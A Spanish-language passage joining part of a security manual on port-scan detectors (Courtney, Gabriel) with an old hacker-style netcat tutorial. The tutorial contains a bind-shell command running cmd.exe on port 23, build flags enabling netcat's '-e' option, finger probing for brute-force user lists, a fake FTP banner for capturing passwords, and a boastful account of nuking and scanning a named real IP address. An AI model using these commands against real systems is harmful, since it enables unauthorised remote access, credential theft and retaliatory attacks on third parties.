versión 2.0, de un interfaz gráfico realizado con gtk llamado `nmapfe'
que permite realizar los escáneres sin necesidad de conocer las
múltiples opciones de línea de comandos disponibles. Se trata de una
herramienta muy útil en conjunción de otras, como `scotty' (ver
Section 7.1, `Scotty (antes tkined)', para conocer la estructura de la
red heterogénea que se está intentando auditar. La posibilidad de
hacer un escáner, además, de un grupo de servidores, permite extraer
rápidamente información que pueda servir para hacer un escáner en
mayor profundidad sobre servidores que posiblementa puedan ser
comprometidos.


3.2. Detectar escáneres remotos
-------------------------------

Dado que las herramientas de seguridad mediante tests remotos (SAINT,
SATAN...) pueden convertirse en un arma en manos de una persona que
pretenda utilizarla para fines ilícitos, es necesario disponer de
programas que sean capaces de avisar al administrador cuando se
detecte accesso a la máquina realizados por estos programas con la
intención de obtener información o de probar vulnerabilidades.

3.2.1. Courtney y Gabriel
-------------------------

Este es el caso de `Courtney' y `Gabriel', se verá algo más de éste
último más adelante. El primero de ellos es un programa desarrollado
en la Universidad de California por Marvin J. Christensen. Está
diseñado para detectar este tipo de paquetes. Aunque se distribuya
indicando que dectará ataques de SATAN en realidad será capaz de
detectar un tipo de ataques concreto, denominado _port scanning_,
consistente en probar todos (o un gran número) de los puertos de una
máquina (cada puerto está ligado a un servicio, ver inetd.conf(5)).
Los programas pueden así encontrar servicios vulnerables o no usados
para hacerse una idea más precisa de los servicios ofrecidos por una
máquina.

Se va a estudiar `Courtney' para observar el funcionamiento de estos
detectores. Este programa está escrito en Perl, con lo que es más
fácil de interpretar. El flujo de control del programa es como sigue:
una vez leídas e interpretadas las opciones, ejecuta el programa
`tcpdump' junto con una reglas de filtro de paquetes. El programa
`tcpdump' devolverá todos los paquetes que se lean en una interfaz de
red dada que cumplan alguna de las reglas, estas reglas especifican
que, por ejemplo, se deben mostrar los paquetes dirigidos a diversos
puertos. `Courtney' leerá de éste todas las conexiones de interés
cuando se produzca alguna, y se apuntará su origen, posteriormente
comprobará si ese mismos origen ha hecho acciones similares y, si es
así, avisa al sistema mediante la llamada a _logger_ y envía un
mensaje de correo al administrador.

Así pues, si un ordenador accediera uno detrás de otro a todos los
puertos de una máquina que tuviera `Courtney', éste empezaría a "hacer
saltar las alarmas" del sistema. Posteriormente el administrador
podría tomar la decisión de cerrar el acceso a la máquina atacante o
no, en función de la política de seguridad de éste.

Se puede ajustar el "nivel de alarma" del programa, que indica bajo
qué condiciones se disparará esta. Hay que fijar adecuadamente este
nivel ya que si es muy bajo se disparará ante eventos que son
perfectamente normales (un usuario de una máquina hace una conexión
vía slogin y posteriormente una conexión de FTP), y si es muy alta no
se disparará con los denominados "ataques ligeros", que esperan un
determinado tiempo antes de realizar la siguiente conexión.

Otro programa de las mismas características es _Gabriel_, diseñado
originalmente para Solaris 1 y 2. Éste hace algo similar pero
utilizando los filtros de paquetes de estas plataformas (`etherfind' y
`snoop' respectivamente), pero además incorpora en su configuración
otras formas de avisar al administrador (ver más abajo)

3.2.1.1. Adaptar Gabriel a GNU/Linux
------------------------------------

_Gabriel_ es un programa de Los Altos Technologies, Inc., como ya se
ha indicado detecta escáneres en la red como SATAN. Pero tiene el
aliciente de que es distribuido, los clientes (implementados en
_gabriel_client.c_) avisan de un execeso de accesos a la red y el
servidor (implementado en _gabriel_server.c_) integra la información
de estos y avisa de diversas formas al administador: mediante correo
electrónico, vía el demonio _talk_, en la pantalla e incluso a través
del teléfono o el beeper si existen las pasarlelas adecuadas (y un
módem).

La idea que da lugar a que exista un cliente y un servidor parte del
hecho de que SATAN es capaz de realizar tests sobre más de un host de
una misma red, e incluso descubrirlos a medida que realiza los tests.
Así, puede ser más fácil localizar el segmento de red en que se
encuentra el ordenador que está ejecutando SATAN si se recibe la
información de todos los ordenadores en varios segmentos.

El cliente esta escrito enteramente en C y muy ligado a su plataforma
original, ya que utiliza filtros de paquetes ya existentes, para poder
comprobar todos los paquetes iniciales de conexión (ICMP, UDP y TCP).
En principio sólo tiene soporte Solaris 1.x o 2.x, y aún no ha sido
portado a Linux. Sin embargo este programa sirve como muestra botón
de la manera en que se portan este tipo de programas al sistema
GNU/Linux. Una de las ventajas fundamentales es que la librería de C
de los sistemas UNIX es bastante compatible entre diversas
plataformas, con lo que el código original no es necesario casi
tocarlo si hace uso de ésta. Otra ventaja es que no hace falta
modificar casi el servidor, ya que éste es un shell script que hace
uso de programas comúnes en la comunidad UNIX (como awk)

Por tanto las modificaciones para poder portar este programa a Linux
serían modificar el cliente para soportar la plataforma Linux haciendo
uso de tcpdump, modificar los scripts de shell caso de que hubiera
diferencias entre éstas, y modificar el fichero _Makefile_ para poder
compilar la versión de Linux.

Manual Netcat

Netcat es un pequeño programa creado para uso de los
administradores de redes (y por supuesto para los Hackers) :), este
proggie fué creado originalmente por Hobbit y porteado a Win95 y NT por
Weld Pond de L0pht , tiene mas de un año desde que fué Liberado y muy
poco se ha escrito sobre este Programita; Principalmente porque la estructura
de sus comandos es poco familiar para el usuario medio. Netcat tiene
infinidad de funciones, aunque se deja que sea el usuario quien las
averigue :P, y en el archivo de ayuda ponen algunos ejemplitos muy
elementales solamente...

La especialidad de NetCat es el Protocolo tcp/ip, y le dá a la
máquina de windows, cierto poder sobre este protocolo que solo tenía
UNIX, trabaja con lineas de comandos desde MS-DOS (o desde el
Shell de Linux), y según parece, puede hacer casi cualquier cosa sobre
TCP/IP. El comando principal es nc con su respectiva variable u opción
al mas puro estilio Unix.


Cabe destacar que la información sobre Netcat y sus usos
especificos es bastante limitada; aunque Hobbit en su documento aclara
muchas cosas, cita algunos ejemplos y dice que NetCat puede ser utilizado
para mas de 1001 vainas...


Netcat en WinX
==============

Este es el resultado de el comando de ayuda de netcat en una máquina windows

c:>nc -h

connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, stealth mode

-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]

Bien; un analisis rápido de estas variables nos da una idea del
potencial de este pequeño programa y las infinitas posibilidades que nos
ofrece el poder manejar conecciones de una manera tan básica y sencilla:

<------ Opciones de Netcat --------->

-d (Modo Stealth o encubierto)
Esta opción desvincula al Programa de la consola, haciendolo
trabajar en el BackGround.

-e (Ejecuta un programa cuando se conecta)
Puede ser utilizado para ejecutar incluso un Shell tanto
en WinX como en *NIX.

-l (Escuchando conecciones)
Deja a un puerto abierto en espera de una conección

-L (lo mismo que anteriormente pero sigue escuchando aún cuando la
conección es cerrada)
Esta opción es incluida en la versión de Weld Pond de L0pth, y
es muy util para seguir escuchando en el puerto, a diferencia de -l
(que la conección cerrada termina con el proceso de nc) esta opción -L
permite seguir escuchando en el mismo puerto (la rutina de nc -l es
reiniciada).

-n (Dirección numerica especifica; no hace un DNS Lookup) Netcat tiene la
facultad de resolver nombres de dominio mediante un DNS Lookup, con esta
opción le especificamos que no lo haga, y use solamente direcciones IP.

-o (obtiene un archivo log en Hex de la acción) Genera un Log de
las actividades de netcat en código Hexadecimal.

-p (Puerto para pegarse) Algunas veces debes especificarle con esta
opción el puerto a realizar una acción.

-s (pegarse a un IP especifico) Netcat puede utilizar IP de una red
como fuente local.

-t (Funciona como un pequeño demonio telnet) Con esta opción le especificas
a netcat que debe realizar negociaciones telnet.

-u specify UDP (Utilizar Protocolo UDP) Con esta opción le dices a netcat que
trabaje con protocolo UDP en vez de TCP.

-v (modo verbose, mas información, se le puede añadir otra -v para mas
info todavia) Bastante util y necesario, sobre todo para estudiar demonios
en profundidad y observar todos los detalles en un Sniffing.

-w (Especifica un tiempo para terminar) Con esta opción le especificas un
tiempo determinado para realizar conecciones .

-r (Genera un Patron Ramdom de puertos locales o remotos) Muy util para evitar
patrones lógicos de Scanning.

-g (especificar Gateways) Una de las opciones más interesantes de netcat,
permite utilizar Routers como "puentes" de conección.

-G (Especificar puntos de Routing), Con esta opción podemos crear
una cadenaaleatoria de hosts para crear un ruta perdida para tus paquetes
(Spoofing).

-i Especifica un intervalo de segundos entre puertos Scaneados.

<------------- Fin de las opciones comentadas ------>


Netcat en Linux
===============

Netcat en una plataforma como Linux se convierte en una utilidad
muy potente, pudiendo ser utilizado en conjunto con lenguajes de programación
como Perl y C , o bien desde la propia Linea de comandos del poderoso Shell
de Linux mediante Shell Scripts.

Cabe destacar que distribuciones como RedHat Linux trae junto con
sus paquetes de instalación una versión limitada de netcat; lo mas recomendable
es bajar de la red la versión full de netcat para Linux (Importante: La
versión de netcat para linux viene a prueba de lamers, por lo cual debemos
compilar a netcat con unos flags especiales para poder obtener las opciones
-t y -e (Telnet y Gaping Security Hole) ). Bajas el .tar de netcat y lo
desempaquetas en el directorio de tu preferencia, te ubicas dentro del
directorio de netcat y lo compilas con Make utilizando las siguientes Flags:

[root@DarkStar] #make linux DFLAGS=" -DTELNET -DGAPING_SECURITY_HOLE"


Copias el binario (nc) al directorio /usr/bin , de esta manera podras usar
netcat directamente llamandolo de cualquier parte del Shell, ademas de que
podrás usar los scripts que hagas (o consigas en la red) sin problemas; netcat
trae unos scripts muy interesantes y bien comentados para que los estudies
y comprendas mejor su implementación en scripts, los scripts están en el
directorio donde desempaquetastes netcat en /scripts , los corres como
siempre: ./probe (o el script que quieras).


Utilizando Netcat.
==================

Para ilustrar mejor como trabajamos con este programa, lo mejor es
observar ejemplos prácticos y analizar su estructura para poder comprender
mejor como funciona y así poder crear nuestras propias aplicaciones.

Algunas de las cosas que podemos hacer con NetCat son:

Obtener un Shell rapidamente en una máquina remota usando la
opción -l (Listen) conjuntamente con la opción -e (ejecutar) , cuando el
proggie corre con estas variables y la conección es realizada, NetCat
ejecuta el programa elegido y se conecta a stdin y stdout del programa
en la conección a la red.

nc -l -p 23 xxx.xxx.xxx.xx 23 -t -e cmd.exe

Este comando dejará a NetCat escuchando el Puerto 23 (telnet) ,
cuando es conectado a travéz del cliente, ejecutará un Shell (cmd.exe)
la opción -t le dice a NetCat que maneje cualquier negociación que el
cliente pueda esperar....

Si esta conección es realizada desde una máquina NT, el shell
correrá los permisos del proceso que han generado a NetCat (Hmmm...) así
que hay que ser muy cuidadosos :)

La belleza de NetCat es que puede hacer lo mismo en CUALQUIER
puerto :) Puedes dejar a NetCat escuchando en los puertos NETBIOS, que
están probablemente corriendo en la mayoría de las máquinas NT, de esta
manera puedes lograr una conección a una máquina que esté utilizando
"Filtrado de Puertos" activado en TCP/IP security Network Control Panel,
NT no parece tener ninguna seguridad alrededor de cuales puertos los
programas de usuarios son permitidos amarrar, esto quiere decir en pocas
palabras, ejecutar comandos y programas que puedan unirse a los Puertos
NETBIOS.


Como anteriormente se mencionó, puedes utilizar a Netcat para
estudiar diferentes puertos, con la siguiente sintaxis:

c:\>nc -v (puedes añadir otra -v)


Uno de los puertos mas interesantes a la Hora de Analizar un
Host, es el puerto 79 (Finger) , puedes obtener nombres de usuarios e
información muy util a la hora de planear un "Brute-Force Attack", este
comandito de Netcat te muestra la Flexibilidad del Proggie en cuestion,
dandote una idea de sus posibilidades:

c:\>nc -v 79 <> log.txt

El comando anterior le dice a netcat que se conecte en modo
verbose al Host predeterminado en el puerto 79 (Finger) y envie el
contenido del archivo user.txt (OJO: no he probado esto con una posible
lista de nombre de usuarios al azahar), la respuesta del servicio será
guardada en el archivo log.txt


Scanner:
========

Netcat puede ser utilizado como scanner, sus multiples opciones
le permiten realizar un gran número de combinaciones, pudiendo realizar
Scannings en Puertos Random, en puertos conocidos, en modo ascendente o
descendente, con intervalos de tiempo, utilizando gateways para evitar
mostrar la IP fuente del Scanning, etc.

C:\nc11nt>nc -v -v -z 127.0.0.1 53 25 21

DNS fwd/rev mismatch: localhost != darkstar
localhost [127.0.0.1] 53 (domain): connection refused
localhost [127.0.0.1] 25 (smtp): connection refused
localhost [127.0.0.1] 21 (ftp): connection refused
sent 0, rcvd 0: NOTSOCK

Pues si; aqui tienen un pequeño y primitivo scanner, se le
pueden añadir puertos escogidos como en el ejemplo anterior o asignarle
un rango de puertos:

C:\nc11nt>nc -v -v -z 127.0.0.1 1-53

DNS fwd/rev mismatch: localhost != darkstar
localhost [127.0.0.1] 53 (domain): connection refused
localhost [127.0.0.1] 52 (?): connection refused
localhost [127.0.0.1] 51 (?): connection refused
localhost [127.0.0.1] 50 (?): connection refused
localhost [127.0.0.1] 49 (?): connection refused
localhost [127.0.0.1] 48 (?): connection refused etc...

Volvemos con la opción -v (verbose) y la Opción -z (zero i/o)
que es usada para scanning, los puertos se lo especificamos al final del
IP del host, bien sea individuales separados por un espacio; o por un
rango de puertos.


Sniffer:
========

Otra de las interesante posibilidades de netcat es su capacidad para
escuchar conecciones en cualquier puerto, pudiendo redireccionar todo el
tráfico del mismo hacia un archivo o hacia pantalla, en este sencillo
ejemplo, podemos observar las bases de un sencillo sniffer en Windows:

C:\nc11nt>nc -v -v -L 127.0.0.1 -p 23

DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 23 ...
DNS fwd/rev mismatch: localhost != darkstar
connect to [127.0.0.1] from localhost [127.0.0.1] 1131
login: sniffado
password: jeje!!
puedo ver todo lo que escriben aqui... Muuuaaahahahahahah!!! B-]


Tambien podemos redireccionar toda la salida a un archivo e
irnos a realizar otras actividades ,ientras netcat hace su trabajo:

C:\nc11nt>nc -v -v -L -p 23 127.0.0.1 -t >login.txt
DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 23 ...

[Aqui viene la conneción...]

DNS fwd/rev mismatch: localhost != darkstar
connect to [127.0.0.1] from localhost [127.0.0.1] 1030

[Todo lo que escriba la connección se va al archivo login.txt]
sent 0, rcvd 42

[La opción -L permite que netcat escuche nuevamente al terminar la conección,
"New Victims Wanted" Hehe!]

DNS fwd/rev mismatch: localhost != darkstar
listening on [127.0.0.1] 23 ...




El Exploit-Explained: nc -v -v -L 127.0.0.1 -p 23
---------------------

Ejecutamos a Netcat con la opción o variable -v (verbose)
(doblemente "verbose" por si acaso) ;) esto hará que el resultado de
netcat, sea mostrado directamente en pantalla (a diferencia del archivo
usado por Dr._X) , la opción o variable -L (Listen, and listen again)
nos permitirá dejar escuchando u "oliendo" en determinado puerto aun
cuando la conección sea interrumpida (listen again), con la variable -p
le indicamos el puerto...

Al ejecutar a netcat con esa combinación de variables las
opción -v me indica en pantalla el Host y el puerto de escucha:

DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 23 ...


Realizo desde otra ventana un telnet a localhost (127.0.0.1) en
el puerto 23, netcat me informa sobre lo que ocurre en el puerto 23:

DNS fwd/rev mismatch: localhost != darkstar
connect to [127.0.0.1] from localhost [127.0.0.1] 1131
login: sniffado


Voilá! un Sniffer en LocalHost! Jajaja!!!



Detector de Conneciones Sospechosas:
====================================

La posibilidad de dejar a netcat escuchando en determinados puertos,
nos permite crear una especie de "trampa" para un supuesto agresor que utilize
scanners, o herramientas tales como NetBus o BackOrifice en contra de
nuestras estaciones. Incluso, podemos crear un archivo que haga un Flood
y redireccionar su salida hacia la estación agresora en caso de una conección
no autorizada a determinado puerto. (jeje! y se me ocurren un monton de cosas
más, Muaahahaha!) :)

Este es un ejemplo de un detector de BO, Je! y funciona! este es un ejemplo
real de un dia como cualquier otro en IRC; he aquí el ejemplo:

C:\nc11nt>nc -u -v -v -L -p 31337 127.0.0.1 31337
DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 31337 ...

invalid connection to [0.0.0.0] from nas1-064.ras.bqm.cantv.net
[161.196.246.65]
31338

Back Orifice utiliza el protocolo UDP para realizar sus
travesuras, realiza la conección desde un puerto aleatorio (casi siempre
el 1080) aunque en este caso lo hizo desde el 31338 (posiblemente una
variante de BO), por eso se utiliza la opción -u (protocolo udp) ,
netcat se queda esperando conecciones UDP en el puerto 31337 (default de
BO) , cuando alguien hace un sweep a tu IP netcat lo detecta enviando a
pantalla el IP y el DNS del agresor...

Luego un pequeño "Ping of Death" (Nuke) para el transgresor y
le hacen un Scan para ver cuando desaparece B-]

nas1-064.ras.bqm.cantv.net [161.196.246.65] 48 (?): connection refused
nas1-064.ras.bqm.cantv.net [161.196.246.65] 47 (?): connection refused
nas1-064.ras.bqm.cantv.net [161.196.246.65] 46 (?): connection refused
nas1-064.ras.bqm.cantv.net [161.196.246.65] 45 (?): TIMEDOUT
nas1-064.ras.bqm.cantv.net [161.196.246.65] 44 (?): TIMEDOUT<--Chao!!! Jeje!! Otros usos Miscelaneos: ======================= Puedes utilizar algo de ingienería social para capturar algunos passwords con netcat, por ejemplo, si una máquina no tiene abierto el puerto de FTP o de telnet, creas un archivo de texto que solicite el ID y el Password de la víctima; algo así:

Microsoft Internet FTP Server V.5.9 [Beta] 04/16/99 myhost.com Please introduce Username, password and press "Enter" LogOn: Luego redireccionas el archivo hacia la victima:

C:\nc11nt>nc -v -v -L -p 21 nombre del host -t <> nc -v nombre del host 23(o el puerto de tu preferencia)


Netcat y Programación:
======================

Esta combinación desencadena todo el Poder de Netcat en su máxima
expresión; Tratandose de una herramienta que funciona con lineas de comandos,
su integración con un lenguaje de programación le permite realizar gran
cantidad de tareas, y posibilidades se van descubriendo dia a dia con su
inclusión en nuevos Scripts y Exploits.

Muchos ScriptKiddies que no tienen idea de lo que hacen, se sienten
frustrados porque muchos de los Scripts y Exploits que bajan de la Red
simplemente no les funciona, porque no saben interpretar el Código y por
lo tanto son incapaces de efectuar las modificaciones necesarias para incluir
librerias, paths o utilidades necesarias para su funcionamiento.
(Jódanse ScriptKiddies!!! Jajaja!!)

Netcat es exelente para implementar exploits remotos, permitiendo
enviar el código a cualquier puerto vulnerable con una simple orden, logrando
ejecutar todos los comandos necesarios para explotar determinados servicios.

Varios exploits que circulan actualmente en la Red, usan a netcat
como "motor" para manejar las conecciones, si analizamos el código de estos
programas podemos observar un nc por ahí, esto significa que el Proggie en
cuestión necesita una versión correctamente compilada de netcat en el
directorio /usr/bin .

Conclusión:
============

Si estudiamos detalladamente las variables, el misterio de
netcat desaparece, viene la parte de la imaginación; ¿Que otras
funciones le podemos asignar? ¿Que mas podría hacer? ; al revisar el
programa que envió Dr._X me dije: "Lógico! Hmmm... Y que tal si hacemos
asi..." ; el hacking no es más que probar nuevas posibilidades, utilizando
el ingenio, los conocimientos acumulados y una dosis bastante fuerte de
imaginación podremos lograr loque queramos. :)


Fuente: ya ni me acuerdo, pero este texto es antiguo.... aunque aun es válido, el netcat no ha cambiado xD